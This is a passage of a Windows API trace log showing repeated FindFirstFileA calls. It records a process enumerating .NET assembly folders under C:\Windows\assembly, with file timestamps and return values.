ftLastWriteTime.dwLowDateTime=0xae88f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.485] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\TaskScheduler.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xae88f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae88f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.490] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationClient\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaeaf080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaeaf080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.495] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationClient\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaeaf080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaeaf080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.503] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationClientsideProviders\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaeaf080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaeaf080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.508] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationClientsideProviders\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaed51e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaed51e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.514] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationProvider\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaed51e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaed51e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.519] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationProvider\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaed51e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaed51e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.525] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationTypes\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaefb340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaefb340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.530] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\UIAutomationTypes\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaefb340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaefb340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.732] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\WindowsBase\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb0ea520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb0ea520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.745] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\WindowsBase\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb110680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb110680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.750] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\WindowsFormsIntegration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb110680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb110680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.756] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\WindowsFormsIntegration\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb1367e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1367e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.765] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\WsatConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb1367e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1367e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.769] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\WsatConfig\\3.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb1367e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1367e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.774] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a37e882, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xb15c940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb15c940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0237.779] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Accessibility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc943eaa, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xb15c940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb15c940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.784] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Accessibility\\9859a6e0562f64eacfb8ad76f260a2d6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc943eaa, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xb15c940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb15c940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.789] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\AuditPolicyGPManage#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68452960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb182aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb182aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.794] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\AuditPolicyGPManage#\\a0a453714c9ec8d6954490f711f5158a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68452960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb182aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb182aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.799] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\BDATunePIA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x689f9da0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb182aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb182aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.804] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\BDATunePIA\\2823d3be9334fea94dce8001b247589b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x689f9da0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1a8c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1a8c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.810] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ComSvcConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24010934, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a8c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1a8c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.815] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ComSvcConfig\\5f1a06c0108b2c81cde1dc491d74043d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24010934, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a8c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1a8c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.820] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5efc0ddf, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1ced60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1ced60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.830] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5efc0ddf, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1ced60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1ced60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.836] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\dfsvc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f163d02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1f4ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1f4ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.842] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\dfsvc\\2c3e7fda8de40e45e7f5e004094dc7c9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f163d02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1f4ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1f4ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.847] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehExtHost32\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ab31a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1f4ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb1f4ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.853] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehExtHost32\\c899de3549784161aa66610d5735e4f0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ab31a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb21b020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb21b020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.858] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiExtens\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a58f600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb21b020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb21b020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.865] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiExtens\\7b6de29c99674df526ccf9d4937828fe\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a58f600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb241180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb241180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.870] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiProxy\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69f29ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb241180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb241180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.875] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiProxy\\5cd902459c588bb0ac608d4cbc8b5e4c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69f29ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb241180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb241180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.881] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiUserXp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df8fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2672e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2672e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.886] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiUserXp\\f09ce1eab0d18a4bbd53ab2a67a5c909\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df8fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2672e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2672e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.893] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiVidCtl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21ba0c90, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb2672e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2672e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.898] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiVidCtl\\88e20c69254157d91b96eadc9444815d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21ba0c90, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb28d440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb28d440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.904] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehRecObj\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e91560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb28d440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb28d440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.909] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehRecObj\\6e35ba22c9762646d5294dd919175c69\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e91560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb28d440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb28d440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.916] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\EventViewer\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5916e571, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb2b35a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2b35a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 